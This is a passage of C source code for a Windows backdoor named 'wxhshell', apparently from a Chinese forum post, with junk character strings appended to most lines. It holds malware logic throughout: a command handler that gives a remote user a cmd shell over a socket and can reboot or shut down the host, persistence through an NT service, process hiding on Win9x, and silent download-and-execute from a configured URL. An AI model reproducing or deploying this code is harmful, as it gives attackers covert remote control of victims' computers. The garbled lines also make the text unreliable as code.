  } &fW=5'  
  else { yCIgxPv|7  
<j\;>3Q  
    switch(cmd[0]) { ;p 5v3<PC  
  DBBBpb~~  
  // 帮助 K$cIVsfr  
  case '?': { g/,Bx!'8p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oqba:y;AR  
    break; ox_h9=$-  
  } r.b6E%D  
  // 安装 7J;~ &x  
  case 'i': { hIQ[:f  
    if(Install()) I#X2 UQzP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U%DF!~n  
    else *+j{9LK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =>0M3 Qh{  
    break; 5^K#Tj ;2  
    } fq'Xy9L  
  // 卸载 A dEbyL  
  case 'r': { ^D;D8A.  
    if(Uninstall())  6b]d|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h ^h-pd  
    else GR ?u?-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U|7Qw|I7  
    break; |3:=qpT-  
    } >&vO4L  
  // 显示 wxhshell 所在路径 /=m9s  
  case 'p': { 'e>sHL  
    char svExeFile[MAX_PATH]; cNo4UZvr  
    strcpy(svExeFile,"\n\r"); C cr+SR2  
      strcat(svExeFile,ExeFile); oPu|Q^I=  
        send(wsh,svExeFile,strlen(svExeFile),0); @k+G Cf  
    break; ~}IvY?! ;  
    } SxZ^ "\H  
  // 重启 %<C G|]W  
  case 'b': { %DRy&k/T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2^ bpH%  
    if(Boot(REBOOT)) pR6A#DgB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,(0XsBL  
    else { [k~+(.2I  
    closesocket(wsh); ]Ec[")"kT  
    ExitThread(0); I0HY#z%  
    } *_<*bhR<  
    break; r\n h.}s  
    } VuMDV6^Z  
  // 关机 sRyw\v-=P  
  case 'd': { sIRrEea  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $',GkK{NX  
    if(Boot(SHUTDOWN)) X c2B2c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !^l4EL5#  
    else { RpXs3=9  
    closesocket(wsh); nn)`eR&  
    ExitThread(0); tM$0 >E  
    } {?f^  
    break; 6l\UNG7  
    } ?gR\A8:8  
  // 获取shell nG ^M 2)(8  
  case 's': { 2b4pOM7W  
    CmdShell(wsh); [ lzy &To  
    closesocket(wsh); (>LHj]}K  
    ExitThread(0); sMfFm@\N  
    break; K"k"ml<4E  
  } ]PzTl {]  
  // 退出 r$r&4d Y  
  case 'x': { k~jKJb-_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8q~FUJhU  
    CloseIt(wsh); '!fFI1s  
    break; LA+$_U"Jk  
    } 2rj/wakd  
  // 离开 R )d99j^"  
  case 'q': { _.OMjUBZT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f1Yv hvWL  
    closesocket(wsh); 1V**QSZ1  
    WSACleanup(); /SCZ&  
    exit(1); EK8E  
    break; Q Bfhyo_  
        } 64!ame}n+  
  } W\>^[c/  
  } HhWwc#B  
?|">),  
  // 提示信息 }+dM1O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O& 3r*vd  
} X&9^&U=e  
  } b>bgUDq  
uq|vNLW26  
  return; Lov.E3S6;  
} 3%[)!zKv  
5xMA~I0c  
// shell模块句柄 V<HOSB7  
int CmdShell(SOCKET sock) z<o E!1St  
{ TRk ?8  
STARTUPINFO si; co<2e#p;  
ZeroMemory(&si,sizeof(si)); 4aalhy<j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1=/doo{^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @jE d%W  
PROCESS_INFORMATION ProcessInfo; } T/}0W]0  
char cmdline[]="cmd"; (RDa,&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rysP)e  
  return 0; )e|$K= D  
} k+WO &g*|  
*#Lsjk~_-  
// 自身启动模式 G>=9gSLM  
int StartFromService(void) s<Ex"+  
{ ReI=4Jq11  
typedef struct N?a1sdR  
{ P&[Ft)`  
  DWORD ExitStatus; :jk)(=^  
  DWORD PebBaseAddress; ~{7zm"jN  
  DWORD AffinityMask; {WYu 0J@  
  DWORD BasePriority; `q f\3JT\  
  ULONG UniqueProcessId; nc3ltT,R  
  ULONG InheritedFromUniqueProcessId; -uv 9(r\P  
}   PROCESS_BASIC_INFORMATION; <}28=d  
K-2o9No?j`  
PROCNTQSIP NtQueryInformationProcess; vs\'1^*D  
ldAov\X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )g9)IF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $PatHY@h  
Tn4W\?R  
  HANDLE             hProcess; $z2 xZqe  
  PROCESS_BASIC_INFORMATION pbi; "ibK1}-  
lL:KaQ0E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A~6%,q@^jh  
  if(NULL == hInst ) return 0; Qb!!J4| !  
z'?7]C2b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :LZ-da"QR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f$1Gu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CN\|_y  
K/f>f;c  
  if (!NtQueryInformationProcess) return 0; t(J![wB}  
0Y5LDP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v%H"_T  
  if(!hProcess) return 0; XGE 2J  
b$d J?%W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5nMkd/  
h^o+E2<]  
  CloseHandle(hProcess); &K5C=]4  
Y%78>-2 L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BW'L.*2  
if(hProcess==NULL) return 0; wXr>p)mP  
aL8p"iSG9  
HMODULE hMod; zyaW3th  
char procName[255]; c=b+g+*xd  
unsigned long cbNeeded; )ZT6:)  
Tg"' pO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QuSV&>T\  
8g<Q5(  
  CloseHandle(hProcess); ad"'O]  
\@Ee9C 13  
if(strstr(procName,"services")) return 1; // 以服务启动 p&i. )/  
J"%8:pL  
  return 0; // 注册表启动 %==G+S{  
} N7e`6d!  
<\ y!3;  
// 主模块 wVx,JL5Jr  
int StartWxhshell(LPSTR lpCmdLine) =LlLE<X"%x  
{ FWuw/b$  
  SOCKET wsl; /Jh1rck  
BOOL val=TRUE; $T"h";M)s  
  int port=0; Ap11b|v  
  struct sockaddr_in door; GxYW4b  
C1h#x'k  
  if(wscfg.ws_autoins) Install(); y\^@p=e  
O{PW  
port=atoi(lpCmdLine); nAIH`L"X  
5JS ZLC  
if(port<=0) port=wscfg.ws_port; xLA~1ZSVJw  
nYOY"'z  
  WSADATA data; +J"'  'cZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LMAmpVo  
J"diFz+20  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fx<FIj7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sB?2*S"X)<  
  door.sin_family = AF_INET; j*tk(o}qG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bsB},pc  
  door.sin_port = htons(port); _~tm7o+js  
FXS^^p P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p`d XqW  
closesocket(wsl); Z+NF(d  
return 1; #X#8ynt  
} i*X{^A73"  
Y^ QKp"  
  if(listen(wsl,2) == INVALID_SOCKET) { As0 B\  
closesocket(wsl); d'ZS;l   
return 1; q<n[.u1@  
} ;xfO16fNk  
  Wxhshell(wsl); 3FFaEl  
  WSACleanup(); (@+h5@J[`I  
1hR (N  
return 0; OFL|RLiD  
-^yXLa;D  
} QS^~77q  
BU!#z(vU  
// 以NT服务方式启动 J5;5-:N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xZX`%f-  
{ W$r^  
DWORD   status = 0; @cZ\*,T  
  DWORD   specificError = 0xfffffff; fb23J|"  
Hk@r5<{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XlVc\?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >W r$Y{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eI^gV'UK  
  serviceStatus.dwWin32ExitCode     = 0; 0mTEim  
  serviceStatus.dwServiceSpecificExitCode = 0; H#35@HF*o  
  serviceStatus.dwCheckPoint       = 0; 3 -tO;GKb  
  serviceStatus.dwWaitHint       = 0; :V-k'hm &  
69Nw/$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 80|onP\L  
  if (hServiceStatusHandle==0) return; <|a=hHPi:  
\^9pW 2v  
status = GetLastError(); P'sfi>A  
  if (status!=NO_ERROR) s D_G)c  
{ b4 CF`BG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RAV^D.  
    serviceStatus.dwCheckPoint       = 0; '@bJlJB9>  
    serviceStatus.dwWaitHint       = 0; cJ. 7Mt  
    serviceStatus.dwWin32ExitCode     = status; lkb2?2\+  
    serviceStatus.dwServiceSpecificExitCode = specificError; _%{0?|=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %%&e"&7HE  
    return; z$|;-u|  
  } B52yaG8C  
@T ysXx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W .U+.hR  
  serviceStatus.dwCheckPoint       = 0; JdiP>KXV  
  serviceStatus.dwWaitHint       = 0; ?W!ry7gXO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _42Z={pZZq  
} F}D3,&9N  
)7dEi+v52  
// 处理NT服务事件,比如:启动、停止 xdZ<| vMR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (0OM "`j  
{ 3V}(fnv  
switch(fdwControl) 9 6=Z"  
{ o&z!6"S<  
case SERVICE_CONTROL_STOP: 3 CM^j<9  
  serviceStatus.dwWin32ExitCode = 0; MU1E_"Z)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1[SA15h  
  serviceStatus.dwCheckPoint   = 0; &cc9}V)M  
  serviceStatus.dwWaitHint     = 0; mw4JQ\  
  { -w]/7cH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P$ucL~r  
  } O#EqG.L5  
  return; :H?f*aw  
case SERVICE_CONTROL_PAUSE: q jz3<`7-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hbI;Hd  
  break; (rcMA>2=  
case SERVICE_CONTROL_CONTINUE: 2 z7}+lH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qfYG.~`5  
  break; w{`Acu  
case SERVICE_CONTROL_INTERROGATE: PNpu*# Z`  
  break; I8u!\F  
}; K(VW%hV1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d2~l4IL)~  
} _R^y\1Qu  
ARF\fF|<2  
// 标准应用程序主函数 1k[GuG%/K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N*_"8LIfi_  
{ >b48>@~bY  
 ?Vc0)  
// 获取操作系统版本 E(4w5=8TI  
OsIsNt=GetOsVer(); ]-:6T0JuS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w2OsLi Sv  
Od{jt7<j#  
  // 从命令行安装 {<K=*r rZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9x?'}  
8sg|MWSU  
  // 下载执行文件 ?:igumeYX  
if(wscfg.ws_downexe) { E'EcP4eL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oa`#RC8N  
  WinExec(wscfg.ws_filenam,SW_HIDE); {DwIjy31T  
} %dW%o{  
!E0!-UpY  
if(!OsIsNt) { ag 8`O&+  
// 如果时win9x,隐藏进程并且设置为注册表启动 {eQWO.C{  
HideProc(); GeV+/^u  
StartWxhshell(lpCmdLine); OJ1tV% E  
} h5GU9M  
else z vO:"w}  
  if(StartFromService()) P :k+ y$  
  // 以服务方式启动 <a|@t@R  
  StartServiceCtrlDispatcher(DispatchTable); dv!r.  
else ,j178EX  
  // 普通方式启动 ?djQZ *  
  StartWxhshell(lpCmdLine); opp!0:jS*  
.Djta|puu  
return 0; 66\jV6eH7L  
}
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只看该作者 1 发表于: 2006-10-10
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